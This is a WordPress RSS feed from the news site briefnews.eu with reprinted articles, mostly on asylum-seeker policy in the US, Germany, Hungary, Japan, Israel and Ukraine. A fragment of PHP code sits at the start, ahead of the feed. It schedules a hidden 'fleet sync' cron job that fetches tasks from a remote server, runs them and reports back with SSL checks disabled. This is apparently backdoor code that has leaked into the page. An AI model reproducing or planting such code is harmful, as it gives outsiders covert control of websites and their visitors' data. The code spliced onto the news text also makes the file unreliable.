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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); seekers – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 05 Apr 2018 00:44:02 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png seekers – Brief News https://briefnews.eu 32 32 Trip-Spiration: Thrill Seekers, Head to Dubai, UAE https://briefnews.eu/trip-spiration-thrill-seekers-head-to-dubai-uae/ https://briefnews.eu/trip-spiration-thrill-seekers-head-to-dubai-uae/#respond Thu, 05 Apr 2018 00:44:02 +0000 http://briefnews.eu/trip-spiration-thrill-seekers-head-to-dubai-uae/

Trip-Spiration: Thrill Seekers, Head to Dubai, UAE

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]]> https://briefnews.eu/trip-spiration-thrill-seekers-head-to-dubai-uae/feed/ 0 Trump faces new lawsuit for locking up asylum seekers https://briefnews.eu/trump-faces-new-lawsuit-for-locking-up-asylum-seekers/ https://briefnews.eu/trump-faces-new-lawsuit-for-locking-up-asylum-seekers/#respond Thu, 15 Mar 2018 21:47:07 +0000 http://briefnews.eu/trump-faces-new-lawsuit-for-locking-up-asylum-seekers/

A civil rights group has filed a lawsuit accusing President Donald Trump’s administration of illegally imprisoning asylum seekers. The group says the detentions violate the US Constitution and break immigration laws.

The American Civil Liberties Union (ACLU) filed the class action lawsuit on behalf of nine plaintiffs on Thursday. The group stated that Immigration and Customs Enforcement (ICE) is locking up asylum seekers in defiance of the Fifth Amendment, which prohibits the government from depriving any person, irrespective of citizenship, of their liberty without due legal process.

The lawsuit concerns ICE field offices in California, Michigan, New Jersey, New Mexico, Ohio, Pennsylvania, and Texas. One of the plaintiffs is Haitian asylum seeker Ansly Damus, who is said to be fleeing political persecution and faced threats to his life. He has been imprisoned in Ohio for more than 16 months while the government appeals his asylum case.

The ACLU also cites a 2009 Obama-era directive, which instructed ICE to grant ‘humanitarian’ parole to asylum seekers if they met certain requirements. Although the directive remains in place, “people are being illegally detained for months on end, even though they met the directive’s requirements,” the ACLU said.

In 2018, the rates of humanitarian parole were next to zero in these states, but in 2013 they granted 95 percent of applications, according to the ACLU.

Attorney General Jeff Sessions has previously said the asylum process has been “subject to rampant abuse and fraud.“

The latest ACLU lawsuit is one of many launched against the Trump administration in recent months. In November 2017, a class action lawsuit was filed by a Los Angeles immigration advocacy group that claimed Trump’s policies have led to immigration officers turning asylum seekers away at the US-Mexico border. The case is currently pending. 

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The Trump administration has pledged to take a tough line on immigration, rankling many Democrats and activist groups. In January 2018, the White House announced that it would limit the entry of asylum seekers from 11 Muslim-majority countries, in what has been termed by media pundits as a ‘Muslim ban.’

At the time, Homeland Security Secretary Kirstjen Nielsen said that the restrictions “will make it harder for bad actors to exploit our refugee program.”

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]]> https://briefnews.eu/trump-faces-new-lawsuit-for-locking-up-asylum-seekers/feed/ 0 Germany no longer taking in asylum seekers from Italy & Greece – report https://briefnews.eu/germany-no-longer-taking-in-asylum-seekers-from-italy-greece-report/ https://briefnews.eu/germany-no-longer-taking-in-asylum-seekers-from-italy-greece-report/#respond Mon, 29 Jan 2018 12:34:06 +0000 http://briefnews.eu/germany-no-longer-taking-in-asylum-seekers-from-italy-greece-report/ Asylum seekers from Italy and Greece will no longer be accepted as part of the EU relocation program by Germany, Die Welt reported citing the country’s Interior Ministry.

Germany’s role in the relocation of asylum seekers from Italy and Greece is coming to an end. “Germany largely completed the relocation in 2017,” a spokeswoman for the Interior Ministry told Die Welt on Monday.

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Syrian refugee metalshop trainees work at one of the vocational centres at a refugee camp in the Jordanian city of Mafraq, September 15, 2014 © Muhammad Hamed

The European relocation agreement officially expired on September 26 of last year. In the coming weeks there will be only “sporadic” arrivals that could not be implemented in the past year.

As large numbers of refugees landed in Italy and Greece in 2015, EU states promised to remedy the situation.

A record number of people were relocated from Italy and Greece in February last year, with more than 1,200 relocations to 13 different EU countries, the International Organization for Migration (IOM) said. Germany, France and the Netherlands received the most asylum seekers under the scheme, mainly from Greece.

Earlier this month, Germany’s Ministry of the Interior released new statistics showing that the Office of Migrants and Refugees (BAMF) registered only 186,644 asylum seekers in 2017 compared with 280,000 the year before. “The BAMF is no longer busy trying to master the crisis,” Interior Minister Thomas de Maiziere said.

While the figures have plummeted since 2015, when 890,000 migrants arrived seeking asylum in Germany, the origin countries have not changed that much, Die Welt reported. The largest number of asylum seekers (47,434 individuals) came from Syria. The second largest number of migrants came from Iraq (21,043), followed by Afghanistan (12,346), and Eritrea (9,524). 

The BAMF were able to make asylum decisions on 603,428 individual cases last year.

More than a million migrants have entered Germany since the refugee crisis erupted in 2015 – fuelling strong anti-migrant sentiments and protests against Chancellor Angela Merkel’s open-door policy. In the long run, public support for the populist AfD party, which entered the Bundestag for the first time in its history, has been on the rise in Germany.

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Migrants from Syria and Iraq take selfies with German Chancellor Angela Merkel outside a refugee camp near the Federal Office for Migration and Refugees after their registration at Berlin's Spandau district, Germany, September 10, 2015. © Fabrizio Bensch

At the height of the refugee crisis, some EU states agreed to accept asylum seekers from the countries bordering the EU. According to the Interior Ministry, far fewer people have met the criteria for relocation than expected. Germany originally agreed to take in over 27,000 people. In reality, it accepted only 10,265, according to Die Welt. All the same, according to the ministry, Germany has received “by far the largest number of persons” of any European country.

In October, Angela Merkel’s CDU and its Bavarian CSU sister party agreed to cap Germany’s intake of asylum seekers at 200,000 a year.

“We want to achieve a total number of people taken in for humanitarian reasons (refugees and asylum seekers, those entitled to subsidiary protection, family members, relocation and resettlement minus deportations and voluntary departures of future refugees) that does not exceed 200,000 people a year,” the agreement stated, according to Reuters.

The massive inflow of refugees into Germany has significantly contributed to a recent rise in violent crime, a new study said earlier this month.

The research, focused on the situation in the north-western German state of Lower Saxony in particular, showed that the number of violent crimes in the region rose by 10.4 percent between 2014 and 2016. It stated that over 92 percent of all such cases investigated by police involved refugees and migrants.

Last week, the eastern German city of Cottbus refused to accept any more migrants in a bid to ease tensions after a surge in refugee-related violence. Some local residents argued that the temporary ban would hardly help resolve the core problem.

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]]> https://briefnews.eu/germany-no-longer-taking-in-asylum-seekers-from-italy-greece-report/feed/ 0 Invasion of privacy? EU court slams ‘gay tests’ for persecuted asylum seekers (DEBATE) https://briefnews.eu/invasion-of-privacy-eu-court-slams-gay-tests-for-persecuted-asylum-seekers-debate/ https://briefnews.eu/invasion-of-privacy-eu-court-slams-gay-tests-for-persecuted-asylum-seekers-debate/#respond Sat, 27 Jan 2018 02:52:21 +0000 http://briefnews.eu/invasion-of-privacy-eu-court-slams-gay-tests-for-persecuted-asylum-seekers-debate/ The European Court of Justice has ruled it is wrong to question asylum seekers’ claims of persecution for their homosexuality. RT guests discuss whether psychological testing is justifiable and what possible alternatives exist.

“An asylum seeker may not be subjected to a psychological test in order to determine his sexual orientation,” according to a ruling by the European Court of Justice published on Thursday after a Nigerian man complained of having undergone such testing in Hungary.

“The performance of such a test amounts to a disproportionate interference in the private life of the asylum seeker,” the court ruled.

The court’s ruling has ignited an ethical debate about the boundaries of the state’s interference in one’s private life. The court examined the case of an unnamed man from Nigeria, who submitted his asylum application to Hungarian authorities in the city of Szeged in April 2015. At that time Hungary was experiencing a huge influx of asylum seekers from Africa and the Middle East.

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The man claimed he was homosexual and faced persecution in his own country. The authorities decided to subject him to a series of sexual orientation tests to determine if he was telling the truth. The man had to undergo the Rorschach test and Draw-a-Person-in-the-Rain tests along with other examinations.

On the basis of these exams, the Hungarian psychologist concluded in October 2015 that the Nigerian was not a homosexual, prompting the asylum seeker to file an appeal and seek justice in the EU court.

According to the court, the “recourse to a psychologist’s expert report” to determine the sexual orientation of the asylum seeker is in fact “an interference with that person’s right to respect for his private life.”

“The impact of such an expert’s report on private life is disproportionate in relation to that objective,” the statement added.

Calling the test “completely unnecessary” and “incredibly intrusive,” Peter Tatchell, Director of the Peter Tatchell Foundation, praised the court’s ruling. He said while it’s generally agreed that such tests cannot serve as a sole basis for determining sexuality, the ruling will be “very helpful”  to the countries where the human rights standards are not so “rigorous.”

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Toni Bugle, Head of Mothers against Radical Islam and Sharia, however, argued that the EU court should not be deciding on the matter in the first place and must allow EU members to act within the scope of their national laws.

“It comes to European human rights coming in and poking and nosing, quite frankly. This is why some people want out of the EU, including myself, because this is a dictatorship,” she said. “It should never be the case we undermine experts’ opinion.”

Speaking about alternative options, Tatchell argued there are more reliable ways of determining sexual orientation, such as interviewing the person in question, his partners, family and friends, examining their love letters and arrest orders issued in their country of origin. Bugle, however, disputed the argument, saying that reading love letters “would be a far greater invasion of privacy.” Besides that, it’s unlikely that family or friends of an asylum seeker will be eager to testify if homosexuality is punishable by death in their countries, she pointed out.

Although there are no statistics on how many asylum seekers falsely report persecution, Bulge believes “there has to be a percentage of people who lied about being gay in order to access … certain countries.” According to Tatchell, however, the number of people falsely making claims about their sexual orientation must be “very, very tiny.”

Hungary’s Prime Minister Viktor Orban has long been a harsh critic of migration and mandatory migrant quotas. He once called asylum seekers “a Trojan horse for terrorism” and “Muslim invaders.”

In September, Hungary claimed that fences on its borders with Croatia and Serbia had helped to cut the inflow of migrants by more than 99 percent since 2015. The country’s border fence has been repeatedly criticized by other EU states, but Budapest has resisted pressure to remove it.

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]]> https://briefnews.eu/invasion-of-privacy-eu-court-slams-gay-tests-for-persecuted-asylum-seekers-debate/feed/ 0 Simon Pegg & Nick Frost Developing ‘Truth Seekers’, A Paranormal Investigation Comedy Series https://briefnews.eu/simon-pegg-nick-frost-developing-truth-seekers-a-paranormal-investigation-comedy-series/ https://briefnews.eu/simon-pegg-nick-frost-developing-truth-seekers-a-paranormal-investigation-comedy-series/#respond Fri, 19 Jan 2018 10:27:59 +0000 http://briefnews.eu/simon-pegg-nick-frost-developing-truth-seekers-a-paranormal-investigation-comedy-series/ Truth Seekers Series

One of the best on-screen duos in recent memory is undoubtedly that of Simon Pegg and Nick Frost. They’ve starred in all three of Edgar Wright’s films in his makeshift Three Flavours Cornetto Trilogy (Shaun of the Dead, Hot Fuzz and The World’s End), not to mention the alien road trip comedy Paul with Seth Rogen, but before that, they worked on the British TV comedy series Spaced. Now, Pegg and Frost will be working on a brand new TV series.

Variety has word about the new Simon Pegg and Nick Frost series in a brief profile on the duo’s upcoming projects. While they’ve each been busy with their own work, from Nick Frost’s turn in the upcoming Tomb Raider adaptation (watch the new trailer) and AMC’s Into the Badlands to Simon Pegg’s involvement in the Star Trek and Mission: Impossible franchises, the two have also taken the time to form the independent production label Stolen Picture, and that’s where this new TV series hails from.

The show is called Truth Seekers and it will follow a three-person paranormal investigation team looking into a new paranormal incident in every episode, giving it a monster-of-the-week feel. Pegg offered more details to Variety in an interview:

“It’ll start as a very parochial idea, a very small business venture for these people, but it will expand as the series goes on to be something far more global. It’s a language everyone understands, the mystery of the unknown. ‘Shaun of the Dead’ was a very parochial story set in North London and somehow it managed to get this global reach because everyone understands the language of zombie movies.”

It’s not clear it Pegg and Frost will appear in the series or if they will remain strictly behind the scenes, but we hope they’ll at least end up appearing. In any case, it certainly sounds like this has the makings of being something akin to a Ghostbusters-style series, and with Pegg and Frost involved, that sounds pretty damn great. And the good news is that we’ll probably see it in the United States as soon as it’s ready because Stolen Picture is backed by Sony Pictures Television.

Knowing all of the fantastic comedy Pegg and Frost have delivered before, this series sounds like a home run. It might not be as exciting as it would be if Edgar Wright was involved too, but Pegg and Frost’s fans will surely have enough faith in the duo to give the new series a shot. We’ll be sure to let you know whenever we hear more about it.

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]]> https://briefnews.eu/simon-pegg-nick-frost-developing-truth-seekers-a-paranormal-investigation-comedy-series/feed/ 0 Japan to curb asylum seekers’ right to work from Monday even as it struggles with tight labor market https://briefnews.eu/japan-to-curb-asylum-seekers-right-to-work-from-monday-even-as-it-struggles-with-tight-labor-market/ https://briefnews.eu/japan-to-curb-asylum-seekers-right-to-work-from-monday-even-as-it-struggles-with-tight-labor-market/#respond Fri, 12 Jan 2018 09:49:21 +0000 http://briefnews.eu/japan-to-curb-asylum-seekers-right-to-work-from-monday-even-as-it-struggles-with-tight-labor-market/ japan commuter travelIssei Kato/Reuters

  • Japan will limit the right of asylum seekers to work starting on Monday, likely incresing their numbers in detention centers, where almost half a million already live.
  • Japan has one of the world’s toughest refugee systems, and only accepted ten refugees between January and September of last year.
  • From Monday, only bonafide refugees will have the right to work.

TOKYO (Reuters) – Japan will limit asylum seekers’ right to work from Monday, making changes to its refugee system that are likely to swell the numbers of those in detention centers, the justice ministry said, prompting refugee groups to flag humanitarian concerns.

The move to tighten one of the developed world’s toughest refugee systems, which accepted just ten during the period from January to September last year, is a bid to clamp down on what Japan views as a system of back-door immigration.

From Monday, the right to work is to be limited only to those Japan regards as bonafide refugees, while repeat applicants and those failing initial checks will be held in detention centers after their permission to stay in Japan expires, the justice ministry said.

“We want to focus on responding appropriately to refugees that need protection,” Justice Minister Yoko Kamikawa told a news conference on Friday, adding that the changes do not mean the government will be reluctant to accept refugees.

Asylum seekers with valid visas now receive renewable permits to work in Japan while their refugee claims are reviewed – a system the government says has spurred people to seek asylum as a means of finding jobs.

With its shrinking population and high barriers to blue-collar immigration, Japan is grappling with the tightest labor demand in decades.

This has spawned a “gray” labor market, in which worker-strapped companies hire asylum seekers to make up the numbers, Reuters’ investigations have found.

The number of asylum seekers in Japan has risen steadily in recent years to a record, with more than 14,000 applicants between January and September last year, an increase of almost 80 percent from the year earlier period, ministry data shows.

About 60 percent of those asylum seekers would not qualify for work permits under the new system, said justice ministry official Tetsuya Hagioka, who oversees the refugee system.

The changes, which could lead to more detentions, will affect only those who seek asylum after Monday, Hagioka said, adding that current holders of work permits can continue working while their claims are reviewed.

Japan’s immigration detention centers held 417,383 people in 2016, the latest year for which data is available. The figure includes those detained more than once during the year, however.

Activists say cracking down on asylum seekers looking for work will not resolve the issue, however.

“The abuse of the refugee system stems from the fundamental fact that Japan suffers from labor shortages and yet does not accept foreign workers,” said Eri Ishikawa, of the Japan Association for Refugees.

“We are greatly worried about the government threatening the asylum seekers’ livelihood without addressing this core issue.”

 

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]]> https://briefnews.eu/japan-to-curb-asylum-seekers-right-to-work-from-monday-even-as-it-struggles-with-tight-labor-market/feed/ 0 Israel is paying its citizens to help deport asylum seekers https://briefnews.eu/israel-is-paying-its-citizens-to-help-deport-asylum-seekers/ https://briefnews.eu/israel-is-paying-its-citizens-to-help-deport-asylum-seekers/#respond Thu, 11 Jan 2018 00:00:52 +0000 http://briefnews.eu/israel-is-paying-its-citizens-to-help-deport-asylum-seekers/ israel holot detention centerPhoto by Ilia Yefimovich/Getty Images

  • Israel will offer $ 8,700 to civilians who sign on to help the government forcibly deport asylum seekers.
  • The country announced it will, by March, evacuate its main detention center, which houses thousands of asylum seekers from war-torn countries including Sudan and Eritrea. 
  • Those who don’t leave by March face “enforcement action.” 

Israel will offer a cash reward to civilians who temporarily sign on to help the government deport its asylum seekers, Haaretz has reported.

The Population and Immigration Authority published a notice on Sunday that it will offer up to 30,000 shekels ($ 8,700) to citizens who become “inspectors” for the unit that manages asylum requests. 

According to Haaretz, the ministry’s job ad states it is looking for 100 inspectors on a temporary two-year basis starting March 2018, as well as 40 investigators to examine and monitor asylum seeker requests and whereabouts.

Last week, the Authority announced it would be evacuating its main Holot detention center in the south within coming months. Those in the center were given notice they must either leave the country or face indefinite incarceration, reported Haaretz. 

The government will also offer cash incentives through a repatriation program called “Assisted Voluntary Return.” The program offers to assist asylum seekers — referred to as “infiltrators” — with purchasing a plane ticket, obtaining travel documents, protection from arrest and $ 3,500. 

The program applies to citizens of Sudan, Eritrea, Ivory Coast, Ethiopia, and countries that do not have diplomatic relations with Israel.

If asylum seekers do not leave within three months the program also specifies “enforcement action” will be taken.

The United Nations refugee agency expressed serious concern over Israel’s decision to forcibly remove refugees on Tuesday. The agency said they have identified 80 cases in which asylum seekers relocated by Israel “risked their lives” by taking dangerous journeys to reach their next destination. 

“The UN High Commission for Refugees stands ready to work with Israel to find alternative solutions for the protection needs of asylum seekers, in line with international standards,” said the agency’s spokesman William Spindler.

Israel has become a temporary shelter to an influx of thousands of asylum seekers from war-torn countries like Sudan and Eritrea. 

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]]> https://briefnews.eu/israel-is-paying-its-citizens-to-help-deport-asylum-seekers/feed/ 0 Pilots REFUSE to fly rejected asylum seekers back to Afghanistan – 200 flights grounded https://briefnews.eu/pilots-refuse-to-fly-rejected-asylum-seekers-back-to-afghanistan-200-flights-grounded/ https://briefnews.eu/pilots-refuse-to-fly-rejected-asylum-seekers-back-to-afghanistan-200-flights-grounded/#respond Tue, 05 Dec 2017 15:04:02 +0000 http://briefnews.eu/pilots-refuse-to-fly-rejected-asylum-seekers-back-to-afghanistan-200-flights-grounded/

German pilots have grounded over 200 flights after refusing to be part of the deportation of failed asylum-seekers. 

The government stated 222 planned flights were stopped by pilots who reportedly wanted no part in the controversial return of refugees to Afghanistan. 

Between January and September 222 flights were cancelled with 140 of those at Frankfurt airport.

Local media report 85 of the disrupted flights were on Lufthansa and its subsidiary, Eurowings: Express.co.uk has contacted the airline for comment. 

Forty of the flights were due to take off from Dusseldorf airport – a place famed for protesters on the tarmac. 

Since the news of the pilots’ refusal to fly, Twitter has been awash with varying opinions. 

AC Budabin said: “Ay grounding their flights, they ground unfair asylum processes to a halt: German pilots as #upstanders choosing to #welcomerefugees as challenge to deportations of failed asylum-seekers.”

And Monish Bhatia added: “German pilots ground 222 flights and REFUSE to #deport refuge seekers #Resistance #Humanity #AntiRacism Can we hope that British pilots will do the same @BALPApilots ?”

Jez added: “So now it’s pilots and not the German judicial system that decides who has the right to stay or not. 

“Why do some people think they have the right to block or disrupt the carrying out of a legal decision just because they don’t like it. World’s gone mad!”

The latest data from the Bundesamt für Migration und Flüchtlinge (BAMF) reveals Germany has accepted nearly 170,000 asylum requests, and rejected about 210,000 – QZ.com reports. 

A blanket ban on deportations back to Afghanistan was imposed in August 2015, but last year the EU agreed with the Afghan government to start deporting failed asylum seekers back to “safe areas” in Afghanistan. 

Back in October, Amnesty International told  European governments planning to deport asylum seekers back to Afghanistan were putting nearly 10,000 people at risk of death.

The organisation believes “no part of Afghanistan is safe, they are putting people at risk of torture, kidnapping, death and other horrors.”

Anna Shea, Amnesty International’s Researcher on Refugee and Migrant Rights, told Amnesty.org: “In their determination to increase the number of deportations, European governments are implementing a policy that is reckless and unlawful.

“Wilfully blind to the evidence that violence is at a record high and no part of Afghanistan is safe, they are putting people at risk of torture, kidnapping, death and other horrors.”

Despite this, in order to reduce the number of appeals and speed up deportations, the German government has proposed bringing in a new asylum program to begin in February 2018. 

It will see rejected asylum seekers given 3,000 euros as an incentive to accept deportation.

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]]> https://briefnews.eu/pilots-refuse-to-fly-rejected-asylum-seekers-back-to-afghanistan-200-flights-grounded/feed/ 0 Germany offers rejected asylum seekers up to €3,000 to go home before March https://briefnews.eu/germany-offers-rejected-asylum-seekers-up-to-e3000-to-go-home-before-march/ https://briefnews.eu/germany-offers-rejected-asylum-seekers-up-to-e3000-to-go-home-before-march/#respond Mon, 04 Dec 2017 06:43:33 +0000 http://briefnews.eu/germany-offers-rejected-asylum-seekers-up-to-e3000-to-go-home-before-march/ The German Interior Ministry is offering rejected asylum seekers a hefty bonus to go to their country of origin voluntarily rather than face deportation. This is a new effort to turn back the refugee tide brought on by Angela Merkel’s “open door” policy.

The offer is intended to supplement the existing program dubbed ‘StarthilfePlus,’ which provides help to those migrants who decide to voluntarily return home. Under the scheme, any participant over 12 years old withdrawing their application for asylum receives €1,200. Already-rejected asylum seekers who waive their right to appeal the decision in court are given €800, and children below the age of 12 get half the sum.

The new program, dubbed ‘Your country. Your future. Now!’ promises significantly more generous payouts to those who decide to return voluntarily. Families are eligible for up to €3,000 ($ 3,570) and individuals for up to €1,000 ($ 1,190) in addition to the payouts under ‘StarthilfePlus.’

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The new offer, however, is time-limited and will last only until the end of February 2018. German Interior Minister Thomas de Maiziere made use of an interview with the Bild am Sonntag newspaper to promote the new program.

“There are opportunities in your homeland. We will support…your reintegration,” de Maiziere said, addressing the migrants directly. “When you voluntarily decide to return by the end of February, in addition to startup help you can provisionally receive housing cost help for the first 12 months in your homeland.”

The new incentive to leave comes as Germany is struggling with the consequences of Angela Merkel’s “open door” policy towards refugees and migrants flooding out of the Middle East and north Africa. Since 2015, over a million people have arrived in Germany and many are staying illegally, since deportations are difficult to enforce.

Some 300,000 asylum seekers had their applications rejected by Germany last year, spelling a surge in deportations compared to 80,000 in 2016. The government has now agreed to cap the number of refugees at 200,000, but authorities are likely to remain swamped with applications for years to come, according to an internal document leaked to media in October.

Frustration with Merkel’s incoherent migration policy has cost her party a big chunk of its popularity. The CDU/CSU alliance sunk to an all-time low at September’s parliamentary elections, while the anti-immigrant Alternative for Germany (AfD) surged, entering the parliament for the first time.

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The newly-proposed assistance includes “benefits in kind, such as support for rental, construction or renovation works or the basic facilities for a kitchen or bathroom,” according to the Interior Ministry-run website promoting voluntary return programs. The exact mechanism of the support payments, however, remained unclear. Under the ‘StarthilfePlus’ program a migrant only receives half the money as a lump sum, while the rest is paid by the International Organization for Migration (IOM) over a course of six months upon arrival back home.

‘StarthilfePlus,’ launched back in February, was criticized by many charities and pro-refugee organizations as a blunt attempt to get rid of unwanted asylum seekers, and the new “limited-edition” proposal appears to be facing the same reception. The German refugee organization Pro Asyl slammed the program as a cynical measure.

“[The government] is trying to entice people to give up their rights in the basest manner,” managing director Günter Burkhardt told the German news agency DPA on Sunday, as quoted by Deutsche Welle.

While the new program appears quite generous, there is no doubt that for the German government court appeal and deportation processes are costly. The migrants, however, usually spend significantly more to get to Europe than they’re eligible to get on the way back. A migrant trip to Europe costs more than €7,000 on average, according to a survey by the Federal Office for Migration and Refugees (BAMF).

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]]> https://briefnews.eu/germany-offers-rejected-asylum-seekers-up-to-e3000-to-go-home-before-march/feed/ 0 LGBT Asylum Seekers Face a Tough New Battle in Ukraine https://briefnews.eu/lgbt-asylum-seekers-face-a-tough-new-battle-in-ukraine/ https://briefnews.eu/lgbt-asylum-seekers-face-a-tough-new-battle-in-ukraine/#respond Wed, 29 Nov 2017 06:22:16 +0000 http://briefnews.eu/lgbt-asylum-seekers-face-a-tough-new-battle-in-ukraine/ Soldado Kowalisidi had fought for LGBT rights in Siberia since 2012, and had come out as a transgender man in 2015, when last year he finally sought shelter in Ukraine, convinced he couldn’t continue his work in Russia anymore. Russia had just passed legislation widely known as the “Yarovaya package” — twin anti-terrorism laws that dramatically expanded the government’s surveillance powers. As one of Siberia’s first openly transgender activists, Kowalisidi had long been a target for Russia’s security service, and for homophobic gangs.

Ukraine, he hoped, would offer him protection.

He was wrong. The 25-year-old was last month denied refugee status by Ukraine’s migration service, his case the latest in a string that human rights activists believe could be the result of discrimination. Just the week before Kowalisidi’s verdict, a Ukrainian court had sided with the migration service in its decision to deny another LGBT activist, Belarusian Edward Tarletsky, refugee status the previous year.

If you haven’t had gender reassignment surgery, you are a woman.

Ukrainian migration official to Kowalisidi, a male transgender asylum seeker

Human rights activists say the treatment of LGBT asylum seekers is symptomatic of Ukraine’s attitude toward the wider LGBT community. Homophobia remains prevalent across the country at a time when Ukraine is preparing to take a seat on the U.N. Human Rights Council for the 2018–2020 term, following its election in October. That means Ukraine will soon hold others accountable for their human rights record while it still faces questions about its treatment of sexual minorities.

One caseworker handling Kowalisidi’s application had no idea what a transgender person was. A second was more blunt. “If you haven’t had gender reassignment surgery, you are a woman,” Kowalisidi recalls the officer telling him. The interviews, he says, made him feel as though he were at fault for being transgender.

For sure, Ukraine’s migration service isn’t welcoming in any case for asylum seekers, irrespective of why they’re seeking shelter in a foreign land — only 71 applicants out of 656 received protection in 2016. But human rights advocates say minorities such as the LGBT community face further discrimination. (A migration service spokesperson said they had no knowledge about discrimination within the body.)

Oleksandra Lukianenko, a lawyer at Right to Protection, a refugee-aid nongovernmental organization, says officers at the migration service are not trained enough to work with this vulnerable category of people, and don’t understand their fear of returning to their home countries. This, she says, leads to the rejection of their claims. Her nonprofit is currently working with four LGBT asylum seekers, none of whom have so far been granted protection.

People hold placards reading 'Members of parliament do not be indifferent', 'We all equal, we all worthy' during a rally of Ukrainian activists and representatives of lesbian, gay, bisexual, and transgender (LGBT) community

For the moment, the total number of LGBT asylum seekers applying for shelter in Ukraine is small, says Anna Kuznyetsova, a resettlement associate at the United Nations High Commissioner for Refugees (UNHCR) office in Ukraine. Though exact numbers are unclear, Kuznyetsova says these cases are new for the migration service, only really emerging in the past two years.

That may appear to partly explain the ignorance Kowalisidi experienced. But Ukraine faces a deeper challenge, suggests Irene Fedorovych, project coordinator at the nonprofit Social Action Centre in Ukraine. The country, she says, receives LGBT refugees but also produces them. Ukraine, she adds, has never been “very human rights orientated,” an approach reflected in how authorities handle LGBT cases. “When you start talking to them, they genuinely do not understand that their attitude is part of what we call discrimination,” she says.

It was a very different Ukraine that activists had envisioned following the Maidan revolution, which ousted Russian-allied President Viktor Yanukovych in 2014. The country, they had hoped, would adopt a more progressive attitude toward the LGBT community as part of its new pro-European rhetoric. But there has been little improvement either socially or legally on protections for the community, says Olena Shevchenko, executive director of LGBT nonprofit Insight. Just two weeks ago, a gay couple from Odessa fled Ukraine, fearing for their lives after they were targeted in a homophobic attack. “We have a pride parade now,” Shevchenko says. “But we would like to feel safe at other times of the year too.”

Far-right activists burn the rainbow LGBT flag outside the Small Opera House in Kiev on June 13, 2017 during the official opening of Kiev Pride 2017.

Officially, the UNHCR says it has not received any complaints of discrimination against LGBT applicants while seeking asylum in Ukraine. It has, however, resettled four LGBT asylum seekers who were turned away by Ukraine in third countries, since 2015. It will also this year partner with the European Asylum Support Office to train migration-service caseworkers how to assess with sensitivity claims related to sexual orientation and gender identity.

And while Ukraine is expected to use its seat on the U.N. Human Rights Council to highlight Moscow’s abuses in Crimea and parts of Donbas that are under Russian occupation, next year’s membership could cut both ways. “With a seat on the council, the spotlight on the human rights situation of the members is that much brighter,” says Human Rights Council spokesman Rolando Gomez. “We would expect with a seat on the council that they would [take their] human rights obligations that much more seriously.”

For those expectations to turn into reality may take time, though. And for Kowalisidi, who is in the process of appealing the decision of the migration service, it may be too late by then.

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